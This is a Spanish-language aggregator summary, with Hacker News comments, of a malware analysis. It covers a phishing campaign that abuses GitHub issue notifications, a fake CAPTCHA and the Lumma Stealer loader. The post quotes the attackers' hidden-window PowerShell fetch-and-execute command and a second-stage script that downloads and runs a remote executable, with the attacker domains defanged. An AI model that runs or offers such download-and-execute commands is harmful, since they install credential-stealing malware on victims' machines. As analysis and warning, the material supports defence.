1 puntos por GN⁺ 2024-09-20 | 1 comentarios | Compartir por WhatsApp
  • Los atacantes aprovecharon el flujo legítimo de notificaciones de repositorios públicos para enviar a los propietarios mensajes maliciosos que parecían ser correos realmente enviados por GitHub
  • Como los atacantes pueden componer gran parte del cuerpo del correo, es difícil determinar si se trata de phishing solo revisando el remitente y los enlaces
  • Al hacer clic en el enlace aparece una página de CAPTCHA falsa que induce al usuario a pegar un comando de PowerShell en la ventana Ejecutar de Windows, iniciando la descarga del malware
  • El archivo se descarga con .NET System.Net.WebClient.DownloadFile de PowerShell, por lo que no recibe la Mark of the Web y puede evadir la advertencia de firma de Windows
  • La carga final se vincula con un malware que varios antivirus en VirusTotal detectaron como LUMMASTEALER, una familia de stealer orientada a credenciales, wallets de criptomonedas y datos sensibles

Flujo del ataque usando correos de notificación de GitHub

  • Los propietarios de repositorios públicos suelen recibir con frecuencia correos de GitHub sobre actividad como issues, comentarios o Pull Requests
  • Los atacantes abusaron de este sistema legítimo de notificaciones en la siguiente secuencia
    • Crean un issue en un repositorio público con una cuenta desechable de GitHub
    • Eliminan el issue rápidamente
    • El propietario del repositorio recibe un correo de notificación enviado por GitHub
    • Si el destinatario hace clic en el enlace del correo, es redirigido a un sitio malicioso
    • Si sigue las instrucciones, el sistema termina infectado con malware
  • El cuerpo real del correo decía que se había encontrado una vulnerabilidad de seguridad y que había más información en github-scanner[.]com, mientras suplantaba al “Github Security Team”

Por qué el correo parecía creíble

  • El correo era una notificación realmente enviada por GitHub, por lo que superaba buena parte de las verificaciones típicas contra phishing
    • El remitente del correo era GitHub
    • Los enlaces del cuerpo llevaban al destino mostrado
  • Solo con las partes del correo que el atacante no controla era difícil juzgar la situación real
    • No quedaba suficientemente claro dentro del correo que se había creado un issue nuevo
    • El atacante podía construir el contexto que quisiera mediante el texto del cuerpo
  • Para reducir el impacto de este tipo de ataques, los correos de notificación de GitHub podrían mejorar en lo siguiente
    • Dar más contexto sobre qué acción provocó el envío del correo
    • Reducir la proporción de contenido controlado por el atacante
    • Mejorar la claridad sobre el emisor del correo
  • El correo en cuestión y estas preocupaciones fueron reportados a GitHub Security

CAPTCHA falso y ejecución de PowerShell

  • Al seguir el enlace del correo se muestra una página que parece un CAPTCHA
  • La exigencia de demostrar que uno es humano mediante un CAPTCHA puede no resultar extraña para los usuarios por los desafíos automáticos de servicios como Cloudflare
  • Pero esta página no usa un CAPTCHA común de selección de imágenes, sino que pide abrir la ventana Ejecutar de Windows y pegar un comando
  • El comando de primera etapa que se copia al portapapeles abre una ventana oculta de PowerShell y descarga y ejecuta un script remoto
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
  • iex es alias de Invoke-Expression y iwr es alias de Invoke-WebRequest
  • Funciona de una forma parecida a ejecutar curl | bash en Linux
  • El comentario al final del comando oculta la parte inicial por la limitación de tamaño de la ventana Ejecutar de Windows y hace que al usuario le parezca un mensaje de verificación de CAPTCHA

Descarga de segunda etapa y evasión de advertencias de Windows

  • El script descargado baja github-scanner[.]com/l6E.exe, lo guarda como SysSetup.exe en la carpeta temporal y lo ejecuta
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
  • El ejecutable tenía una firma digital, pero la firma del binario malicioso no era válida
  • La firma parecía venir de Spotify, pero tras hablar con DigiCert se concluyó que no era un certificado robado sino una firma falsificada
  • Windows determina si un archivo fue descargado de internet mediante la marca Mark of the Web (MOTW)
    • Los navegadores y otros programas pueden establecer esta marca en los archivos descargados
    • Software como Office puede cambiar su comportamiento en función de esta marca
  • Si el mismo ejecutable se descarga desde el navegador, Windows advierte que la firma no es válida
  • En el flujo de la víctima, el archivo no lo descarga el navegador sino System.Net.WebClient.DownloadFile del .NET Framework de PowerShell
    • Este método no establece la marca MOTW en los archivos descargados
    • Windows solo muestra la advertencia de ejecución por firma digital inválida cuando el archivo tiene MOTW
  • Como MOTW puede eliminarse fácilmente, depender de esta marca no es una medida segura
  • Dos debilidades relacionadas de Windows fueron reportadas a Microsoft

Análisis del loader y carga final

  • El ejecutable mostró rastros relacionados con .NET en Ghidra, por lo que fue analizado con dotPeek
  • El flujo principal está en el punto de entrada y en el método PersonalActivation
    • El punto de entrada oculta la ventana de consola
    • Llama dos veces a PersonalActivation en un hilo de fondo
    • Usa VirtualProtect para marcar una región de memoria como ejecutable
    • La ejecuta con CallWindowProcW
  • PersonalActivation recibe una lista sin uso y dos arreglos de bytes
    • El primer arreglo parece ser un búfer de datos
    • El segundo arreglo aparece etiquetado como key
    • Realiza muchas operaciones matemáticas y parece una rutina de descifrado
  • Al comentar las llamadas a VirtualProtect y CallWindowProcW y revisar el búfer descifrado en el depurador
    • El primer búfer incluía CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread y otros
    • También aparecía la ruta C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    • El segundo búfer tenía forma de ejecutable de Windows con encabezados MZ y PE
  • El loader carga en memoria el exe “cifrado” contenido en el gran arreglo de bytes superior, lo marca como ejecutable y luego lo ejecuta

Detección de Lumma Stealer y herramientas usadas

  • La etapa final era un exe de Windows no basado en .NET, por lo que el análisis adicional fue limitado usando solo la salida de Ghidra
  • Ambos binarios ya estaban detectados por varios antivirus en VirusTotal
  • En los nombres de detección aparecía de forma recurrente el patrón LUMMASTEALER
  • Lumma es una de las operaciones de malware ofrecidas como “malware as a service”
    • El código stealer busca wallets de criptomonedas, credenciales guardadas y datos sensibles
    • Los datos recolectados se envían a un servidor de comando y control (C2)
    • Después pueden usarse para robo de dinero o venta de datos
  • El malware Lumma no suele cifrar los dispositivos de las víctimas como lo hace el ransomware tradicional
  • Como material adicional sobre Lumma se recomienda el artículo de Cyfirma sobre tácticas, impacto y estrategias de defensa de Lumma Stealer
  • Las herramientas usadas en el análisis fueron Windows Sandbox, Ghidra, dotPeek, HxD y Visual Studio

1 comentarios

 
GN⁺ 2024-09-20
Opiniones en Hacker News
  • Me cuesta creer que alguien caiga en este tipo de estafas.
    Para empezar, solo con la captura no queda claro, pero suponiendo que el autor sabía que el correo venía de GitHub, la primera señal de alerta es que lleva a github-scanner.com, una variación del dominio real.
    Si no sabes de quién es github-scanner.com, lo más seguro es considerarlo una estafa solo porque parece un sitio real y creíble.
    La enorme señal de alerta es que el captcha te pide escribir un comando en la shell, y no tengo mucho más que decir sobre lo ingenuo que hay que ser para ejecutarlo.

    • Al final es un juego de probabilidades.
      Nadie es perfecto, y cuantos más elementos generen confianza, más probable es que suba la tasa de conversión.
      Si alguien tiene mala vista, está apurado, cansado o agotado, incluso una persona que normalmente sería difícil de engañar puede caer con más facilidad.
      Si se puede automatizar a gran escala, incluso una tasa de conversión baja termina en muchas cuentas comprometidas.
    • Si hubiera sido durante mi primer año después de crear una cuenta de GitHub, seguramente yo también habría caído.
      No se ve muy distinto de configurar claves SSH, y los usuarios nuevos realmente pasan por el flujo de copiar y pegar comandos que GitHub les envía.
    • Hace unas semanas alguien abrió un issue en uno de mis repositorios, y en menos de un minuto dos cuentas respondieron con enlaces a un archivo alojado, diciéndole que descargara y ejecutara un software para solucionar el problema.
      Casi seguro era malware, así que borré los comentarios de inmediato y reporté las cuentas a GitHub.
      Yo no habría caído en una táctica tan obvia, pero la persona que hizo la pregunta original, por su actividad en GitHub y la calidad de la pregunta, no parecía muy técnica.
      Si estaba en modo de probar cualquier cosa rápido sin mirarla con ojo crítico, sí parece posible que cayera.
    • Por desgracia, los correos que vienen de otros dominios son bastante comunes.
      Citi y PayPal también lo hacen en algunos correos, y me irrita cada vez.
    • Llevo el tiempo suficiente como para recordar ILOVEYOU, y desde entonces he visto cómo se gastan millones y decenas de millones de dólares en educar a los usuarios para que no hagan clic en cosas incorrectas.
      El mes pasado, en una conferencia, el CEO de una empresa de ciberseguridad dio una keynote diciendo que en algunos casos todavía más del 80% de los usuarios caen en estafas por correo, así que hacía falta más dinero.
      Lo que le pregunté seriamente al ponente fue: si después de gastar millones de dólares y casi 25 años más del 80% de los usuarios todavía hace clic en enlaces indebidos, ¿no será que estamos haciendo algo fundamentalmente mal?
  • Hace poco recibí un correo de PayPal mucho más convincente.
    Alguien me envió una cotización, aparentemente usando una función que puede utilizarse incluso sin que uno la solicite, y configuró el nombre de la empresa como algo tipo “PayPal necesita contactarlo por un pago reciente de $499.00, llame al +1-...”.
    Así que, por el texto “le envía una cotización de $xxx” en el correo de cotización de PayPal, ese nombre de empresa ocupaba la mayor parte del texto superior.
    El correo venía del verdadero PayPal.com, y no entiendo cómo una empresa procesadora de pagos todavía no logra bloquear este problema con los nombres de usuario.
    Lo reporté, pero no recibí respuesta; deberían prohibir no solo esa cuenta, sino nombres de ese tipo en general.
    El formato también se veía realmente como un correo legítimo de PayPal, y creo que mucha gente común caería en esta estafa.
    Si quieren el correo, pueden contactarme a través del sitio web de mi perfil.

    • Me pasó lo mismo hace más de un año, así que parece que reportarlo no sirvió de mucho.
    • Yo recibí algo muy parecido; era un correo legítimo de PayPal, pero no era una cotización sino una factura.
      Al iniciar sesión en PayPal, no aparecía nada en el sitio web.
    • Me pregunto por qué PayPal pediría por correo que uno llame por teléfono.
      Si necesitan algo, deberían llamar directamente, escribir el contenido en el correo o mostrarlo en el portal.
    • Me sorprendería que alguien lo hubiera revisado de verdad.
    • Que “el correo estuviera formateado para parecer un correo real de PayPal” es exactamente la razón por la que deberían bloquearse los correos que no sean texto plano.
      También por razones de seguridad, pero cualquiera que haya tocado HTML durante 5 minutos puede crear un correo que “parezca real”.
  • Win+R, CTRL+V
    Del CAPTCHA a la trampa
    Si eres un desarrollador junior, podrías caer. Algo como: “Es GitHub, así que debe ser legítimo, ¿no? Además, las alertas de seguridad de las librerías que usamos llegan cada dos meses”
    También podrías pensar: “¡Oh, qué curioso, un CAPTCHA que se resuelve ejecutando código!”
    No se debería permitir que una página web llene el portapapeles solo con un clic; creo que hace falta una vista previa del contenido
    Seguramente pensaron que exigir una acción del usuario, como un clic, lo resolvería, pero sigue siendo demasiado débil, y ese es el primer problema
    La gente tiene que dejar de ejecutar enlaces de correos tal cual o de creer que el contenido de un correo tiene legitimidad. El contenido de un correo, por sí mismo, no tiene legitimidad, y ese es el segundo problema
    Tercero: ¿Windows todavía permite tomar control de una máquina a nivel de permisos de root con una sola línea de PowerShell?
    GitHub también podría tener que impedir que se agreguen a issues enlaces que un servicio automatizado no haya verificado remotamente como contenido legítimo
    Están enviando esto por correo a la gente, así que no deberían decir que no saben que se puede usar para phishing. Esto ya era ciberseguridad 101 incluso en 2015
    Por último, si GitHub no puede tomar las medidas anteriores, debería eliminar más contenido de los correos que envía y hacer como los bancos: mandar solo algo tipo “Hay un issue nuevo en este repositorio...”
    Entonces, cuando el usuario entrara, no habría mensaje y se habría terminado todo. Creo que GitHub necesita madurar un poco más en este punto

    • Sobre lo de “un desarrollador junior podría caer”, creo que no solo los junior, sino todo tipo de personas puede cometer errores. Así son las cosas
      Creo que hay que capacitar bien a la gente sobre qué cosas son dañinas
      En cuanto a Windows, al menos dos empleados pidieron que los dejáramos salir de Windows. Haremos todo lo posible; es un proyecto que lleva tiempo, pero al final lo lograremos
    • Sobre la parte de tomar control de la máquina con una sola línea de PowerShell: eso solo es posible si el comando se ejecuta desde una cuenta con permisos de administrador
      El ícono de escudo en la captura del cuadro de diálogo “Ejecutar” muestra claramente que es un usuario con permisos de administrador y que UAC está desactivado
      Entonces también nos tocaría llorar porque Linux permite escalar a root con una sola línea como curl malware.zyx/evilscript | bash
    • Para usuarios no técnicos ya empezamos a desactivar el cuadro de diálogo Ejecutar, pero el problema es que el ataque a GitHub apunta a usuarios que sí necesitan usar esa función de vez en cuando
      La estrategia del portapapeles también debería ser fácil de bloquear. La mayoría de los estafadores simplemente convence por teléfono a la víctima de escribir directamente en el cuadro Ejecutar una URL bien disfrazada
    • Este CAPTCHA es tan pésimo que, si el navegador muestra “presiona Win+R, CTRL+V”, me dan ganas de automatizarlo para que tome automáticamente el contenido del portapapeles y ejecute cmd.exe, así puedo ver el contenido del sitio más rápido y sin interrupciones
      Sí, soy un usuario de Windows 10x
    • Dicen que es un problema que en Windows se pueda llegar a nivel de root con una sola línea, pero yo lo veo como una ventaja
      Podemos tratar Windows como “root” porque somos root; concretamente, porque la instalación de Windows siempre crea como cuenta administradora la primera cuenta de usuario que configura
      Eso es una ventaja. Podemos hacer lo que queramos en la computadora que poseemos y usamos
      En una época en la que los sistemas operativos cada vez más cerrados impiden que el usuario realmente posea y administre su computadora, Windows simplemente lo permite
      Por favor, espero que eso nunca cambie
  • En resumen, la idea es no hacer clic en enlaces de correos
    ¿github-scanner.com y github-scanner.shop siguen siendo del mismo actor malicioso? Eso parece
    Da risa que el DNS esté en Cloudflare. Cloudflare es famoso por decir que “no aloja nada”, pero parece que nos toma a todos por tontos
    Tampoco parece haber una forma de denunciar este abuso ante Cloudflare, que no asume ninguna responsabilidad
    El dominio 2x.si, que aloja malware, usa Cloudflare tanto para DNS como para hosting
    Al menos eso sí se puede denunciar a Cloudflare, pero en el formulario de abuso ponen límite de velocidad a las personas y hasta exigen un CAPTCHA
    Solo queda suspirar. Gracias a Cloudflare, hoy en día alojar phishing y malware es demasiado fácil

    • Cloudflare responde mucho mejor a reportes de abuso que el 95% de los registradores de DNS de nivel nacional
      Lo digo por experiencia tratando con ambos
    • No sé qué tan efectiva y rápida sea la respuesta, pero sí hay una forma de reportar malware: https://www.cloudflare.com/trust-hub/reporting-abuse/
      En esa página aparece Phishing & Malware como tipo de abuso para seleccionar
    • No digo que “no hagas clic en enlaces de correos” esté mal, pero este caso parece resumirse más bien como “no caigas en un CAPTCHA que te pide pegar código en una ventana que dice que se ejecutará como administrador”
      Esto es más una queja que un comentario serio de seguridad, pero siempre me ha molestado que el criterio para reprobar una prueba de phishing sea “hizo clic en cualquier enlace dentro del correo”
      En realidad, lo más importante debería ser si ingresó credenciales en un sitio de phishing o si descargó y abrió un archivo, ¿no?
      Entiendo que es más fácil enseñar a usuarios no técnicos a no hacer clic en enlaces malos en absoluto, y que también existen vulnerabilidades de navegador, pero aun así hay algo molesto en eso
      He visto muchos casos en los que estos relatos terminan con el usuario ingresando credenciales, dándole permisos raros al navegador, descargando un archivo o, como esta vez, ejecutando un comando
      Casi nunca he visto un caso que termine en “hizo clic en un enlace y explotó un 0-day del navegador, fin”
      Los navegadores web tienen una superficie de ataque amplia, pero al mismo tiempo son herramientas hechas para navegar por internet
      La mayoría de la gente hace clic en enlaces con bastante naturalidad mientras trabaja o investiga
      La defensa en profundidad es necesaria, pero una política de seguridad cuyo principio central sea “nunca visites un sitio web malicioso” me parece bastante defectuosa
    • Si hay que verificar el correo de una cuenta nueva, ¿cómo se supone que lo haces sin tocar el enlace?
      Una opción sería usar Qubes OS y abrir enlaces solo en máquinas virtuales desechables, sin ingresar más información que eso
      Yo suelo hacer eso cuando recibo correos para verificar la dirección de una cuenta nueva
      No siempre se puede evitar hacer clic en enlaces, ¿no?
  • Al leer la parte de que “el atacante elimina rápidamente el issue”, me di cuenta de que nunca he eliminado un issue que yo haya creado.
    Pero ¿no es cierto que solo alguien con permisos de administrador puede eliminar issues en un repositorio? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
    Entonces, en realidad queda un rastro de ese issue en el repositorio, y lo mismo aplica a los pull requests.

    • Quizá GitHub ya lo había marcado como malicioso y lo eliminó, pero el correo ya se había entregado.
    • El propietario del repositorio también puede modificar el título y el cuerpo de un issue abierto por otra persona.
  • La afirmación de que no hay nada que indique que el correo corresponde a un issue nuevo es incorrecta.
    El “(Issue #1)” en el título significa exactamente eso.
    Yo también recibí el mismo correo en la práctica y reconocí de inmediato que se había creado un nuevo issue en el repositorio.
    Está claro que este usuario no está familiarizado con los issues de GitHub, como también lo demuestra el hecho de que sea el primer issue del repositorio.
    Creo que GitHub debería enseñar mejor a los usuarios nuevos.

    • Es cierto, pero he trabajado en una empresa que les daba cuentas de GitHub para reportar bugs a usuarios que no estaban del todo familiarizados con los detalles técnicos.
      Estas personas pueden caer en el engaño con mucha facilidad.
      Un técnico podría darse cuenta, pero eso no exime a GitHub de tener que hacerlo mejor.
  • Esta mañana recibí una de estas notificaciones y la ignoré de inmediato.
    Lo gracioso fue que el objetivo era justamente este repositorio: https://github.com/kyledrake/theftcoinjs

  • Es una lectura interesante. Muestra lo que intentan hacer los atacantes.
    Solo con ver el enlace es fácil sospechar, pero es interesante ver el proceso de alguien investigándolo.

  • Esta mañana publiqué un bug en un repositorio de GitHub y, en menos de un minuto, alguien respondió algo más o menos así:
    “Prueba esto. Creo que solucionará el problema. Si necesitas un compilador, instala GCC”.
    Luego venía un enlace de Bitly que redirigía a un archivo zip en MediaFire, junto con una contraseña.
    GitHub procesó mi reporte de abuso en menos de una hora y eliminó todas las publicaciones de ese usuario.

  • Dios mío, yo también estaba recibiendo correos de notificación de GitHub parecidos.
    Decían que se había detectado una vulnerabilidad en el repositorio, y hasta ver esta noticia no pensé que fueran falsos.
    Aun así, como soy un programador flojo, no hice clic. Una vez que escribo algo, ahí queda; aunque reescriba código, no busco ni corrijo bugs en mi propio código.

    • Resumen de alertas de seguridad de GitHub sí existe https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts
      Es una función con la que GitHub te avisa sobre vulnerabilidades de seguridad en las dependencias del proyecto.
      Por ejemplo, si usas Python y especificaste la biblioteca requests en requirements.txt, GitHub te notifica por correo sobre vulnerabilidades públicas de esa biblioteca y te recomienda actualizar a una versión superior corregida.